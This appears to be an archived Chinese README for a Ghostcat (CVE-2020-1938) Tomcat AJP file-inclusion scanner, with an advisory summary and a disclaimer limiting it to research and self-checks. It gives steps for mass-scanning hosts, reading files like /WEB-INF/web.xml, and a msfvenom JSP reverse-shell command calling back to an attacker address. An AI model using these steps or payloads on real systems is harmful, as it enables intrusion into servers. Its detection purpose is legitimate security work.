关联漏洞
标题:
Apache Tomcat 安全漏洞
(CVE-2020-1938)
描述:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 7.0.100版本之前的7.*版本、8.5.51版本之前的8.*版本和9.0.31版本之前的9.*版本中的Tomcat AJP协议存在安全漏洞。攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如 webapp 配置文件或源代码等。
描述
CVE-2020-1938 / CNVD-2020-1048 Detection Tools
介绍
# 说明
**工具仅用于安全研究以及内部自查, 禁止使用工具发起非法攻击, 造成的后果由使用者负责**
Apache Tomcat文件包含漏洞(CVE-2020-1938 / CNVD-2020-1048 )批量检测工具.
此项目在[Kit4y的项目](https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner)的基础上进行修改.
# 代码修改
当ip.txt中只有1个域名或ip时, 会使得threadCount为1, 程序实际上没有运行, 增加判断线程数的代码
<pre>
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
</pre>
</pre>
修改少量代码, 以兼容Python3. 修改前的代码
<pre>
self.stream = self.socket.makefile("rb", bufsize=0)
</pre>
<pre>
print("".join([d.data for d in data]))
</pre>
修改后的代码
<pre>
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
</pre>
<pre>
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
</pre>
# 使用
## 批量检测
**1、将需要扫描的域名/ip放于 ip.txt, 如**
> 127.0.0.1
> www.baidu.com
> www.google.com
**2、python threading-find-port-8009.py**
扫描ip.txt中域名/ip找出开放8009端口的, 存放于生成的8009.txt中
**3、python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py**
从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名
## 单站点检测
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
>
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
## 跨目录和反弹shell
默认读取webapps下的ROOT,修改“/asdf”为“/test/asdf”可以访问webapps下test目录的内容
<pre>
t.perform_request('/asdf',attributes=[
</pre>
若服务器同时存在文件上传漏洞,上传下面的shell.txt
<pre>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
</pre>
修改“/asdf”为“/asdf.jsp”,启动MSF后使用PoC工具可以取得shell
# 其他相关工具
https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487
文件快照
[4.0K] /data/pocs/e9dce3c92ed16d0f16884d624fef6c7fbd2c9517
├── [ 11K] CNVD-2020-10487-Tomcat-Ajp-lfi.py
├── [ 15] ip.txt
├── [2.4K] README.md
├── [ 12K] threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
└── [1.7K] threading-find-port-8009.py
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。